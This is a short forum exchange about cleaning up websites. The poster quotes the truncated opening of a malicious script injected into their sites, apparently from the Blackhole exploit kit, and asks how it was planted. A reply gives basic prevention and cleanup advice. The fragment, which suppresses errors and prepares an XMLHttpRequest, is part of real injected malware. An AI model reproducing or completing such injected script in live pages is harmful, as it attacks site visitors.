This question was recently posed on another forum I am apart of.

Two sites that the person maintains had malicious code on the site the code is as follows:

<script>var date=new Date();function lols(){return true}
window.onerror=lols;function getXmlHttp(){var xmlhttp;try{xmlhttp=new
ActiveXObject('Msxml2.XMLHTTP');}catch(e){try{xmlhttp=new
ActiveXObject('Microsoft.XMLHTTP');}catch(e){xmlhttp=false;}}
if(!xmlhttp&&typeof XMLHttpRequest!='undefined'){xmlhttp=new
XMLHttpRequest();} return xmlhttp;}...(not pasting full code unless requested)


From what I can tell it is the Blackhole Exploit Script (Info here and here)

In your opinion what is the most likely way that the code was embedded onto the site? And what steps should be taken to 1) prevent future malicious code 2) to ensure that the computers are clean?

1) Strong passwords (12+ chars, letter+number+specials chars), use of trusted code, application of published security updates to managed code.

2) Virus/Malware scanning at least. If intrusion is suspected, change all your password (using the suggestions from #1 above) for the machine(s). If it's really a problem, hire a professional that specializes in computer security/forensics.

Not sure what else to tell you.
